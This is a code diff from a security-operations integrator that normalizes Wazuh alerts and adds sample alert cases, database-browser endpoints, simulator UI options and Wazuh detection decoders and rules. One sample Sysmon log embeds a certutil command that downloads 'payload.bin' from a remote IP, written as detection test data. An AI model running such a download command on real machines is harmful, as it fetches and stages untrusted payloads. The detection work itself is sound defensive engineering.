-    description="Normalize a raw Wazuh alert payload into the internal ingest shape.",
455
-)
456
-async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
451
+def _build_wazuh_hit_from_ingest(payload: WazuhIngestRequest) -> dict[str, object]:
452
+    src_payload = dict(payload.payload or {})
453
+    src_payload.setdefault("@timestamp", datetime.now(timezone.utc).isoformat())
454
+    src_payload.setdefault("id", payload.alert_id)
455
+    src_payload.setdefault(
456
+        "rule",
457
+        {
458
+            "id": payload.rule_id or "unknown",
459
+            "level": payload.severity if payload.severity is not None else 5,
460
+            "description": payload.title or "Wazuh alert",
461
+        },
462
+    )
463
+    return {"_id": payload.alert_id or f"wazuh-{uuid.uuid4().hex[:12]}", "_source": src_payload}
464
+
465
+
466
+def _normalize_wazuh_ingest_payload(payload: WazuhIngestRequest) -> dict[str, object]:
457
     normalized = {
467
     normalized = {
458
         "source": payload.source,
468
         "source": payload.source,
459
         "alert_id": payload.alert_id,
469
         "alert_id": payload.alert_id,
462
         "title": payload.title,
472
         "title": payload.title,
463
         "payload": payload.payload,
473
         "payload": payload.payload,
464
     }
474
     }
465
-    return ApiResponse(data={"normalized": normalized})
475
+    hit = _build_wazuh_hit_from_ingest(payload)
476
+    normalized_event = mvp_service.normalize_wazuh_hit(hit)
477
+    return {
478
+        "normalized": normalized,
479
+        "normalized_event": normalized_event,
480
+    }
481
+
482
+
483
+@app.post(
484
+    "/ingest/wazuh-alert",
485
+    response_model=ApiResponse,
486
+    summary="Normalize Wazuh alert",
487
+    description="Normalize a raw Wazuh alert payload into both legacy ingest shape and SOC normalized event shape.",
488
+)
489
+async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
490
+    return ApiResponse(data=_normalize_wazuh_ingest_payload(payload))
491
+
492
+
493
+@app.get(
494
+    "/ingest/wazuh-alert/samples",
495
+    response_model=ApiResponse,
496
+    summary="Sample normalization cases",
497
+    description="Return sample Wazuh event-log cases with expected normalized output for testing and integration.",
498
+)
499
+async def ingest_wazuh_alert_samples() -> ApiResponse:
500
+    sample_payloads = [
501
+        WazuhIngestRequest(
502
+            source="wazuh",
503
+            rule_id="110302",
504
+            alert_id="sample-a1-02",
505
+            severity=8,
506
+            title="A1 production: DNS IOC domain match event",
507
+            payload={
508
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
509
+                "full_log": "Mar 04 09:42:24 dns-fw-01 soc_mvp_test=true source=dns severity=medium event_type=ioc_domain_match src_ip=10.12.132.85 ioc_type=domain ioc_value=ioc-2080.malicious.example feed=threatintel_main confidence=high action=alert",
510
+                "agent": {"name": "dns-fw-01", "id": "001"},
511
+            },
512
+        ),
513
+        WazuhIngestRequest(
514
+            source="wazuh",
515
+            rule_id="110402",
516
+            alert_id="sample-b1-02",
517
+            severity=8,
518
+            title="B1 production: ESXi SSH enabled",
519
+            payload={
520
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
521
+                "full_log": "Mar 04 09:42:28 esxi-01 soc_mvp_test=true source=vmware severity=medium event_type=vmware_esxi_enable_ssh action=enable service=ssh user=root host=esxi-01 src_ip=203.0.113.115",
522
+                "agent": {"name": "esxi-01", "id": "002"},
523
+            },
524
+        ),
525
+        WazuhIngestRequest(
526
+            source="wazuh",
527
+            rule_id="110426",
528
+            alert_id="sample-b3-06",
529
+            severity=8,
530
+            title="B3 production: CertUtil download pattern",
531
+            payload={
532
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
533
+                "full_log": "Mar 04 09:42:35 win-sysmon-01 soc_mvp_test=true source=windows_sysmon severity=medium event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\" src_ip=10.10.10.5",
534
+                "agent": {"name": "win-sysmon-01", "id": "003"},
535
+            },
536
+        ),
537
+        WazuhIngestRequest(
538
+            source="wazuh",
539
+            rule_id="110501",
540
+            alert_id="sample-c1-01",
541
+            severity=12,
542
+            title="C1 production: Impossible travel",
543
+            payload={
544
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
545
+                "full_log": "Mar 04 09:44:10 fgt-vpn-01 source=vpn severity=high event_type=vpn_login_success event_id=4624 success=true user=alice.admin src_ip=8.8.8.8 country=US src_lat=37.3861 src_lon=-122.0839 dst_host=vpn-gw-01",
546
+                "agent": {"name": "fgt-vpn-01", "id": "004"},
547
+            },
548
+        ),
549
+    ]
550
+
551
+    cases = []
552
+    for item in sample_payloads:
553
+        cases.append(
554
+            {
555
+                "name": str(item.alert_id),
556
+                "request": item.model_dump(mode="json"),
557
+                "result": _normalize_wazuh_ingest_payload(item),
558
+            }
559
+        )
560
+
561
+    return ApiResponse(data={"cases": cases, "count": len(cases)})
466
 
562
 
467
 
563
 
468
 @app.post(
564
 @app.post(
1540
 
1636
 
1541
 
1637
 
1542
 @app.get(
1638
 @app.get(
1639
+    "/monitor/db/tables",
1640
+    response_model=ApiResponse,
1641
+    dependencies=[Depends(require_internal_api_key)],
1642
+    summary="List database tables",
1643
+    description="List soc-integrator PostgreSQL tables with row count and relation size.",
1644
+)
1645
+async def monitor_db_tables() -> ApiResponse:
1646
+    rows: list[dict[str, object]] = []
1647
+    with get_conn() as conn, conn.cursor() as cur:
1648
+        cur.execute(
1649
+            """
1650
+            SELECT
1651
+              t.schemaname,
1652
+              t.tablename,
1653
+              COALESCE(s.n_live_tup, 0)::BIGINT AS estimated_rows,
1654
+              COALESCE(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename)), 0)::BIGINT AS size_bytes,
1655
+              COALESCE(pg_size_pretty(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename))), '0 bytes') AS size_pretty
1656
+            FROM pg_tables t
1657
+            LEFT JOIN pg_stat_user_tables s
1658
+              ON s.schemaname = t.schemaname
1659
+             AND s.relname = t.tablename
1660
+            WHERE t.schemaname = 'public'
1661
+            ORDER BY t.tablename
1662
+            """
1663
+        )
1664
+        tables = cur.fetchall()
1665
+
1666
+        for item in tables:
1667
+            schema = str(item.get("schemaname") or "public")
1668
+            table = str(item.get("tablename") or "")
1669
+            if not table:
1670
+                continue
1671
+
1672
+            cur.execute(
1673
+                sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1674
+                    sql.Identifier(schema),
1675
+                    sql.Identifier(table),
1676
+                )
1677
+            )
1678
+            count_row = cur.fetchone() or {}
1679
+            row_count = int(count_row.get("cnt", 0) or 0)
1680
+
1681
+            rows.append(
1682
+                {
1683
+                    "schema": schema,
1684
+                    "table": table,
1685
+                    "row_count": row_count,
1686
+                    "estimated_rows": int(item.get("estimated_rows", 0) or 0),
1687
+                    "size_bytes": int(item.get("size_bytes", 0) or 0),
1688
+                    "size_pretty": str(item.get("size_pretty") or "0 bytes"),
1689
+                }
1690
+            )
1691
+
1692
+    return ApiResponse(
1693
+        data={
1694
+            "database": settings.soc_integrator_db_name,
1695
+            "generated_at": datetime.now(timezone.utc).isoformat(),
1696
+            "tables": rows,
1697
+        }
1698
+    )
1699
+
1700
+
1701
+@app.get(
1702
+    "/monitor/db/tables/{table_name}/rows",
1703
+    response_model=ApiResponse,
1704
+    dependencies=[Depends(require_internal_api_key)],
1705
+    summary="List rows from selected table",
1706
+    description="Return rows from a selected public table with pagination.",
1707
+)
1708
+async def monitor_db_table_rows(
1709
+    table_name: str,
1710
+    limit: int = 50,
1711
+    offset: int = 0,
1712
+) -> ApiResponse:
1713
+    table = str(table_name or "").strip()
1714
+    if not table:
1715
+        raise HTTPException(status_code=400, detail="table_name is required")
1716
+
1717
+    page_limit = max(1, min(int(limit), 500))
1718
+    page_offset = max(0, int(offset))
1719
+
1720
+    with get_conn() as conn, conn.cursor() as cur:
1721
+        cur.execute(
1722
+            """
1723
+            SELECT 1
1724
+            FROM pg_tables
1725
+            WHERE schemaname = 'public' AND tablename = %s
1726
+            LIMIT 1
1727
+            """,
1728
+            (table,),
1729
+        )
1730
+        if not cur.fetchone():
1731
+            raise HTTPException(status_code=404, detail=f"table '{table}' not found in schema public")
1732
+
1733
+        cur.execute(
1734
+            sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1735
+                sql.Identifier("public"),
1736
+                sql.Identifier(table),
1737
+            )
1738
+        )
1739
+        total_row = cur.fetchone() or {}
1740
+        total = int(total_row.get("cnt", 0) or 0)
1741
+
1742
+        cur.execute(
1743
+            sql.SQL("SELECT * FROM {}.{} ORDER BY 1 DESC LIMIT %s OFFSET %s").format(
1744
+                sql.Identifier("public"),
1745
+                sql.Identifier(table),
1746
+            ),
1747
+            (page_limit, page_offset),
1748
+        )
1749
+        rows = [dict(item) for item in (cur.fetchall() or [])]
1750
+
1751
+    return ApiResponse(
1752
+        data={
1753
+            "table": table,
1754
+            "limit": page_limit,
1755
+            "offset": page_offset,
1756
+            "total": total,
1757
+            "rows": rows,
1758
+        }
1759
+    )
1760
+
1761
+
1762
+@app.get(
1543
     "/monitor/systems",
1763
     "/monitor/systems",
1544
     response_model=ApiResponse,
1764
     response_model=ApiResponse,
1545
     dependencies=[Depends(require_internal_api_key)],
1765
     dependencies=[Depends(require_internal_api_key)],

+ 34 - 1
soc-integrator/app/services/mvp_service.py

138
         return "low"
138
         return "low"
139
 
139
 
140
     def _event_type_from_text(self, text: str, parsed: dict[str, str]) -> str:
140
     def _event_type_from_text(self, text: str, parsed: dict[str, str]) -> str:
141
-        explicit = parsed.get("event_type")
141
+        explicit = str(parsed.get("event_type") or "").strip().lower()
142
+        usecase_id = str(parsed.get("usecase_id") or "").strip().upper()
143
+        section = str(parsed.get("section") or "").strip().upper()
144
+        source = str(parsed.get("source") or "").strip().lower()
145
+        success = str(parsed.get("success") or "").strip().lower()
146
+        has_geo = bool(parsed.get("country") or parsed.get("src_lat") or parsed.get("src_lon"))
147
+        has_user = bool(parsed.get("user"))
148
+        has_src_ip = bool(parsed.get("src_ip") or parsed.get("srcip"))
149
+        explicit_success_login = explicit in {
150
+            "vpn_login_success",
151
+            "windows_auth_success",
152
+            "auth_success",
153
+        }
154
+
155
+        # Production-first C1 detection:
156
+        # successful auth/login + geo context on vpn/windows identity streams.
157
+        if (
158
+            (source in {"vpn", "fortigate", "windows", "identity"} or "vpn" in source)
159
+            and has_geo
160
+            and has_user
161
+            and has_src_ip
162
+            and (success == "true" or explicit_success_login)
163
+        ):
164
+            return "c1_impossible_travel"
165
+
166
+        # Legacy simulator markers remain supported as fallback.
167
+        if usecase_id.startswith("C1") or section == "C1":
168
+            return "c1_impossible_travel"
169
+        if explicit in {"c1_impossible_travel", "impossible_travel"}:
170
+            return "c1_impossible_travel"
171
+        if explicit == "vpn_geo_anomaly":
172
+            return "vpn_geo_anomaly"
142
         if explicit:
173
         if explicit:
143
             return explicit
174
             return explicit
144
         lowered = text.lower()
175
         lowered = text.lower()
176
+        if "impossible travel" in lowered:
177
+            return "c1_impossible_travel"
145
         if "vpn" in lowered and ("geo" in lowered or "country" in lowered):
178
         if "vpn" in lowered and ("geo" in lowered or "country" in lowered):
146
             return "vpn_geo_anomaly"
179
             return "vpn_geo_anomaly"
147
         if "domain" in lowered or "dns" in lowered:
180
         if "domain" in lowered or "dns" in lowered:

+ 162 - 14
soc-integrator/app/ui/assets/app.js

22
   }
22
   }
23
 }
23
 }
24
 
24
 
25
+const SIM_SCRIPT_DESCRIPTIONS = {
26
+  fortigate: "FortiGate firewall telemetry simulator (40F/60F/80F/501E) for network and security events.",
27
+  endpoint: "Windows/macOS/Linux endpoint-agent simulator for process, auth, and endpoint behavior logs.",
28
+  cisco: "Cisco ASA/IOS network log simulator for parser/rule coverage and telemetry validation.",
29
+  proposal_required: "Appendix A required-use-case simulator (A1-A4) for proposal/UAT coverage.",
30
+  proposal_appendix_b: "Appendix B optional-use-case simulator (B1-B3), including log-loss test flow.",
31
+  proposal_appendix_c: "Appendix C future-enhancement simulator (C1-C3 currently implemented).",
32
+  wazuh_test: "Generic Wazuh baseline test events for connectivity and ingest sanity checks.",
33
+};
34
+
35
+const SIM_SCRIPT_TARGET_OPTIONS = {
36
+  fortigate: ["all", "501E", "80F", "60F", "40F"],
37
+  endpoint: ["all", "windows", "mac", "linux"],
38
+  cisco: ["all", "asa_acl_deny", "asa_vpn_auth_fail", "ios_login_fail", "ios_config_change"],
39
+  proposal_required: ["all", "a1", "a2", "a3", "a4"],
40
+  proposal_appendix_b: ["all", "b1", "b2", "b3"],
41
+  proposal_appendix_c: ["all", "c1", "c2", "c3"],
42
+  wazuh_test: ["all", "ioc_dns", "ioc_ips", "vpn_outside_th", "windows_auth_fail"],
43
+};
44
+
25
 window.socUi = function socUi() {
45
 window.socUi = function socUi() {
26
   return {
46
   return {
27
     tabs: [
47
     tabs: [
28
       { key: "overview", label: "Overview" },
48
       { key: "overview", label: "Overview" },
29
       { key: "systems", label: "Systems" },
49
       { key: "systems", label: "Systems" },
50
+      { key: "database", label: "Database" },
30
       { key: "monitoring", label: "Monitoring" },
51
       { key: "monitoring", label: "Monitoring" },
31
       { key: "ioc", label: "IOC" },
52
       { key: "ioc", label: "IOC" },
32
       { key: "geoip", label: "GeoIP" },
53
       { key: "geoip", label: "GeoIP" },
53
       lastRefreshAt: null,
74
       lastRefreshAt: null,
54
       timerId: null,
75
       timerId: null,
55
     },
76
     },
77
+    dbTables: {
78
+      data: null,
79
+      loading: false,
80
+      lastRefreshAt: null,
81
+    },
82
+    dbBrowser: {
83
+      selectedTable: "",
84
+      rows: null,
85
+      loading: false,
86
+      limit: 50,
87
+      offset: 0,
88
+    },
56
     simLogs: {
89
     simLogs: {
57
       runs: null,
90
       runs: null,
58
       startResult: null,
91
       startResult: null,
64
       timerId: null,
97
       timerId: null,
65
       form: {
98
       form: {
66
         script: "fortigate",
99
         script: "fortigate",
67
-        target: "all",
100
+        targets: ["all"],
68
         scenario: "all",
101
         scenario: "all",
69
         count: 1,
102
         count: 1,
70
         delay_seconds: 0.3,
103
         delay_seconds: 0.3,
176
       this.loadAutoSync();
209
       this.loadAutoSync();
177
       this.loadCState();
210
       this.loadCState();
178
       this.loadSystemsMonitor();
211
       this.loadSystemsMonitor();
212
+      this.loadDbTables();
179
       this.loadSimRuns();
213
       this.loadSimRuns();
180
       this.startSimLogsAutoRefresh();
214
       this.startSimLogsAutoRefresh();
181
       this.startSystemsMonitorAutoRefresh();
215
       this.startSystemsMonitorAutoRefresh();
186
       return this.simLogs.form.script === "endpoint";
220
       return this.simLogs.form.script === "endpoint";
187
     },
221
     },
188
 
222
 
223
+    simScriptDescription() {
224
+      const key = String(this.simLogs.form.script || "").trim();
225
+      return SIM_SCRIPT_DESCRIPTIONS[key] || "No description available for this script.";
226
+    },
227
+
228
+    simTargetOptions() {
229
+      const key = String(this.simLogs.form.script || "").trim();
230
+      return SIM_SCRIPT_TARGET_OPTIONS[key] || ["all"];
231
+    },
232
+
233
+    simTargetSelectionChanged() {
234
+      const options = this.simTargetOptions();
235
+      const selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
236
+      let valid = selected.filter((item) => options.includes(item));
237
+      if (valid.includes("all") && valid.length > 1) {
238
+        valid = ["all"];
239
+      }
240
+      if (!valid.length) {
241
+        valid = ["all"];
242
+      }
243
+      this.simLogs.form.targets = valid;
244
+    },
245
+
246
+    onSimScriptChange() {
247
+      this.simTargetSelectionChanged();
248
+    },
249
+
250
+    selectedTargetsForRun() {
251
+      const options = this.simTargetOptions();
252
+      let selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
253
+      selected = selected.filter((item) => options.includes(item));
254
+      if (!selected.length || selected.includes("all")) {
255
+        return ["all"];
256
+      }
257
+      return selected;
258
+    },
259
+
189
     systemsStatusClass(status) {
260
     systemsStatusClass(status) {
190
       if (status === "ok") {
261
       if (status === "ok") {
191
         return "status-ok";
262
         return "status-ok";
279
       }
350
       }
280
     },
351
     },
281
 
352
 
353
+    async loadDbTables() {
354
+      try {
355
+        if (!this.internalApiKey) {
356
+          return;
357
+        }
358
+        this.dbTables.loading = true;
359
+        this.dbTables.data = await this.apiCall("/monitor/db/tables", {
360
+          internal: true,
361
+        });
362
+        this.dbTables.lastRefreshAt = new Date().toISOString();
363
+        if (!this.dbBrowser.selectedTable) {
364
+          const tables = this.dbTableRows();
365
+          if (tables.length > 0) {
366
+            this.dbBrowser.selectedTable = String(tables[0].table || "");
367
+            await this.loadDbRows();
368
+          }
369
+        }
370
+      } catch (err) {
371
+        this.setErr("Database tables failed", err);
372
+      } finally {
373
+        this.dbTables.loading = false;
374
+      }
375
+    },
376
+
377
+    dbTableRows() {
378
+      const root = this.unwrapApiData(this.dbTables.data) || {};
379
+      const tables = Array.isArray(root.tables) ? root.tables : [];
380
+      return tables.map((row, index) => this.normalizeTableRow(row, index));
381
+    },
382
+
383
+    async loadDbRows() {
384
+      try {
385
+        const table = String(this.dbBrowser.selectedTable || "").trim();
386
+        if (!table) {
387
+          this.dbBrowser.rows = null;
388
+          return;
389
+        }
390
+        this.dbBrowser.loading = true;
391
+        const limit = Math.max(1, Math.min(500, Number(this.dbBrowser.limit || 50)));
392
+        const offset = Math.max(0, Number(this.dbBrowser.offset || 0));
393
+        this.dbBrowser.rows = await this.apiCall(
394
+          `/monitor/db/tables/${encodeURIComponent(table)}/rows?limit=${limit}&offset=${offset}`,
395
+          { internal: true },
396
+        );
397
+      } catch (err) {
398
+        this.setErr("Database rows failed", err);
399
+      } finally {
400
+        this.dbBrowser.loading = false;
401
+      }
402
+    },
403
+
404
+    dbSelectedRows() {
405
+      const root = this.unwrapApiData(this.dbBrowser.rows) || {};
406
+      const rows = Array.isArray(root.rows) ? root.rows : [];
407
+      return rows.map((row, index) => this.normalizeTableRow(row, index));
408
+    },
409
+
410
+    dbSelectedColumns() {
411
+      return this.tableColumns(this.dbSelectedRows());
412
+    },
413
+
282
     async loadSimRuns() {
414
     async loadSimRuns() {
283
       try {
415
       try {
284
         if (!this.internalApiKey) {
416
         if (!this.internalApiKey) {
299
 
431
 
300
     async startSimRun() {
432
     async startSimRun() {
301
       try {
433
       try {
302
-        const payload = {
303
-          script: this.simLogs.form.script,
304
-          target: this.simLogs.form.target || "all",
305
-          scenario: this.simLogs.form.scenario || "all",
306
-          count: Number(this.simLogs.form.count || 1),
307
-          delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
308
-          forever: Boolean(this.simLogs.form.forever),
434
+        const targets = this.selectedTargetsForRun();
435
+        const results = [];
436
+        for (const target of targets) {
437
+          const payload = {
438
+            script: this.simLogs.form.script,
439
+            target,
440
+            scenario: this.simLogs.form.scenario || "all",
441
+            count: Number(this.simLogs.form.count || 1),
442
+            delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
443
+            forever: Boolean(this.simLogs.form.forever),
444
+          };
445
+          const result = await this.apiCall("/sim/logs/start", {
446
+            method: "POST",
447
+            internal: true,
448
+            json: payload,
449
+          });
450
+          results.push({ target, result });
451
+        }
452
+        this.simLogs.startResult = {
453
+          data: {
454
+            started_targets: targets,
455
+            runs: results.map((item) => ({
456
+              target: item.target,
457
+              run: this.unwrapApiData(item.result)?.run || null,
458
+            })),
459
+          },
309
         };
460
         };
310
-        this.simLogs.startResult = await this.apiCall("/sim/logs/start", {
311
-          method: "POST",
312
-          internal: true,
313
-          json: payload,
314
-        });
315
         await this.loadSimRuns();
461
         await this.loadSimRuns();
316
-        const started = this.unwrapApiData(this.simLogs.startResult)?.run;
462
+        const started = results
463
+          .map((item) => this.unwrapApiData(item.result)?.run)
464
+          .find((run) => run && run.run_id);
317
         if (started && started.run_id) {
465
         if (started && started.run_id) {
318
           this.simLogs.selectedRunId = started.run_id;
466
           this.simLogs.selectedRunId = started.run_id;
319
           await this.loadSimOutput(started.run_id);
467
           await this.loadSimOutput(started.run_id);

+ 104 - 6
soc-integrator/app/ui/index.html

6
     <title>SOC Integrator Admin</title>
6
     <title>SOC Integrator Admin</title>
7
     <script src="https://cdn.tailwindcss.com"></script>
7
     <script src="https://cdn.tailwindcss.com"></script>
8
     <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
8
     <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
9
-    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260303-17" />
10
-    <script src="/ui/assets/app.js?v=20260303-17"></script>
9
+    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260304-04" />
10
+    <script src="/ui/assets/app.js?v=20260304-04"></script>
11
   </head>
11
   </head>
12
   <body class="bg-slate-100 text-slate-800" x-data="socUi()" x-init="init()">
12
   <body class="bg-slate-100 text-slate-800" x-data="socUi()" x-init="init()">
13
     <div class="mx-auto w-full max-w-none px-3 py-4 md:px-5 md:py-6">
13
     <div class="mx-auto w-full max-w-none px-3 py-4 md:px-5 md:py-6">
132
               <div class="grid gap-3 md:grid-cols-3 lg:grid-cols-6">
132
               <div class="grid gap-3 md:grid-cols-3 lg:grid-cols-6">
133
                 <label class="text-sm">
133
                 <label class="text-sm">
134
                   <span class="input-label">Script</span>
134
                   <span class="input-label">Script</span>
135
-                  <select class="input" x-model="simLogs.form.script">
135
+                  <select class="input" x-model="simLogs.form.script" @change="onSimScriptChange()">
136
                     <option value="fortigate">fortigate</option>
136
                     <option value="fortigate">fortigate</option>
137
                     <option value="endpoint">endpoint</option>
137
                     <option value="endpoint">endpoint</option>
138
                     <option value="cisco">cisco</option>
138
                     <option value="cisco">cisco</option>
141
                     <option value="proposal_appendix_c">proposal_appendix_c</option>
141
                     <option value="proposal_appendix_c">proposal_appendix_c</option>
142
                     <option value="wazuh_test">wazuh_test</option>
142
                     <option value="wazuh_test">wazuh_test</option>
143
                   </select>
143
                   </select>
144
+                  <div class="mt-1 text-xs text-slate-500" x-text="simScriptDescription()"></div>
144
                 </label>
145
                 </label>
145
-                <label class="text-sm">
146
-                  <span class="input-label">Target</span>
147
-                  <input class="input" x-model="simLogs.form.target" placeholder="all" />
146
+                <label class="text-sm md:col-span-2">
147
+                  <span class="input-label">Target (multi-select)</span>
148
+                  <div class="rounded-md border border-slate-200 bg-white p-2">
149
+                    <div class="grid grid-cols-2 gap-2">
150
+                      <template x-for="option in simTargetOptions()" :key="`target-${option}`">
151
+                        <label class="inline-flex items-center gap-2 text-xs text-slate-700">
152
+                          <input type="checkbox" class="h-4 w-4" :value="option" x-model="simLogs.form.targets" @change="simTargetSelectionChanged()" />
153
+                          <span x-text="option"></span>
154
+                        </label>
155
+                      </template>
156
+                    </div>
157
+                  </div>
148
                 </label>
158
                 </label>
149
                 <label class="text-sm" x-show="simScriptUsesScenario()">
159
                 <label class="text-sm" x-show="simScriptUsesScenario()">
150
                   <span class="input-label">Scenario</span>
160
                   <span class="input-label">Scenario</span>
308
               </div>
318
               </div>
309
             </div>
319
             </div>
310
 
320
 
321
+            <div class="panel-block">
322
+              <div class="mb-2 flex flex-wrap items-center gap-2">
323
+                <h3 class="panel-subtitle mb-0">Database Tables</h3>
324
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
325
+                <span class="text-xs text-slate-500" x-text="dbTables.loading ? 'Loading...' : 'Idle'"></span>
326
+                <span class="text-xs text-slate-500" x-text="dbTables.lastRefreshAt ? `Last refresh: ${dbTables.lastRefreshAt}` : 'Not refreshed yet'"></span>
327
+              </div>
328
+              <div class="table-wrap mt-2" x-show="dbTableRows().length">
329
+                <table class="data-table">
330
+                  <thead>
331
+                    <tr>
332
+                      <th>schema</th>
333
+                      <th>table</th>
334
+                      <th>row_count</th>
335
+                      <th>estimated_rows</th>
336
+                      <th>size_pretty</th>
337
+                      <th>size_bytes</th>
338
+                    </tr>
339
+                  </thead>
340
+                  <tbody>
341
+                    <template x-for="(row, idx) in dbTableRows()" :key="idx">
342
+                      <tr>
343
+                        <td x-text="cellText(row.schema)"></td>
344
+                        <td x-text="cellText(row.table)"></td>
345
+                        <td x-text="cellText(row.row_count)"></td>
346
+                        <td x-text="cellText(row.estimated_rows)"></td>
347
+                        <td x-text="cellText(row.size_pretty)"></td>
348
+                        <td x-text="cellText(row.size_bytes)"></td>
349
+                      </tr>
350
+                    </template>
351
+                  </tbody>
352
+                </table>
353
+              </div>
354
+              <div class="text-xs text-slate-500" x-show="!dbTableRows().length">No database table data</div>
355
+            </div>
356
+
311
             <div class="grid gap-3 lg:grid-cols-2">
357
             <div class="grid gap-3 lg:grid-cols-2">
312
               <template x-for="meta in systemsCardMeta" :key="`table-${meta.key}`">
358
               <template x-for="meta in systemsCardMeta" :key="`table-${meta.key}`">
313
                 <div class="panel-block">
359
                 <div class="panel-block">
338
             </div>
384
             </div>
339
           </section>
385
           </section>
340
 
386
 
387
+          <section x-show="activeTab === 'database'" x-cloak class="admin-card space-y-4">
388
+            <div class="panel-block">
389
+              <div class="mb-2 flex flex-wrap items-center gap-2">
390
+                <h3 class="panel-subtitle mb-0">Database Table Browser</h3>
391
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
392
+                <button class="btn btn-neutral" @click="loadDbRows()">Load Rows</button>
393
+                <span class="text-xs text-slate-500" x-text="dbBrowser.loading ? 'Loading rows...' : 'Idle'"></span>
394
+              </div>
395
+              <div class="grid gap-3 md:grid-cols-4">
396
+                <label class="text-sm md:col-span-2">
397
+                  <span class="input-label">Table</span>
398
+                  <select class="input" x-model="dbBrowser.selectedTable">
399
+                    <option value="">Select table</option>
400
+                    <template x-for="(row, idx) in dbTableRows()" :key="`db-table-${idx}`">
401
+                      <option :value="row.table" x-text="`${row.schema}.${row.table}`"></option>
402
+                    </template>
403
+                  </select>
404
+                </label>
405
+                <label class="text-sm">
406
+                  <span class="input-label">Limit</span>
407
+                  <input class="input" type="number" min="1" max="500" x-model.number="dbBrowser.limit" />
408
+                </label>
409
+                <label class="text-sm">
410
+                  <span class="input-label">Offset</span>
411
+                  <input class="input" type="number" min="0" x-model.number="dbBrowser.offset" />
412
+                </label>
413
+              </div>
414
+              <pre class="json-box mt-2" x-text="pretty(dbBrowser.rows)"></pre>
415
+              <div class="table-wrap mt-2" x-show="dbSelectedRows().length">
416
+                <table class="data-table">
417
+                  <thead>
418
+                    <tr>
419
+                      <template x-for="col in dbSelectedColumns()" :key="col">
420
+                        <th x-text="col"></th>
421
+                      </template>
422
+                    </tr>
423
+                  </thead>
424
+                  <tbody>
425
+                    <template x-for="(row, idx) in dbSelectedRows()" :key="`db-row-${idx}`">
426
+                      <tr>
427
+                        <template x-for="col in dbSelectedColumns()" :key="col">
428
+                          <td x-text="cellText(row[col])"></td>
429
+                        </template>
430
+                      </tr>
431
+                    </template>
432
+                  </tbody>
433
+                </table>
434
+              </div>
435
+              <div class="text-xs text-slate-500" x-show="!dbSelectedRows().length">No rows loaded</div>
436
+            </div>
437
+          </section>
438
+
341
           <section x-show="activeTab === 'monitoring'" x-cloak class="admin-card space-y-4">
439
           <section x-show="activeTab === 'monitoring'" x-cloak class="admin-card space-y-4">
342
             <div class="panel-block">
440
             <div class="panel-block">
343
               <div class="mb-2 flex flex-wrap items-center gap-2">
441
               <div class="mb-2 flex flex-wrap items-center gap-2">

+ 25 - 2
wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml

1
-<decoders>
2
-</decoders>
1
+<!-- SOC MVP local decoders (minimal production-safe set) -->
2
+
3
+<decoder name="soc-kv-base">
4
+  <prematch>soc_mvp_test=true</prematch>
5
+</decoder>
6
+
7
+<decoder name="soc-dns-ioc">
8
+  <parent>soc-kv-base</parent>
9
+  <prematch>source=dns</prematch>
10
+</decoder>
11
+
12
+<decoder name="soc-vmware-auth">
13
+  <parent>soc-kv-base</parent>
14
+  <prematch>source=vmware</prematch>
15
+</decoder>
16
+
17
+<decoder name="soc-log-monitor">
18
+  <parent>soc-kv-base</parent>
19
+  <prematch>source=log_monitor</prematch>
20
+</decoder>
21
+
22
+<decoder name="soc-windows-sysmon">
23
+  <parent>soc-kv-base</parent>
24
+  <prematch>source=windows_sysmon</prematch>
25
+</decoder>

+ 201 - 0
wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml

107
   <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
107
   <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108
   <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108
   <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
109
   <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
109
   <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
110
+  <!-- ========================= -->
111
+  <!-- Production profile rules -->
112
+  <!-- ========================= -->
113
+  <!--
114
+    Production profile (second profile):
115
+    - Does not depend on simulation marker fields (soc_mvp_test/usecase_id)
116
+    - Uses source-like patterns that can appear in real logs
117
+    - Rule IDs are separated from simulation profile in 110xxx range
118
+  -->
119
+
120
+  <rule id="110200" level="3">
121
+    <description>SOC MVP production profile enabled</description>
122
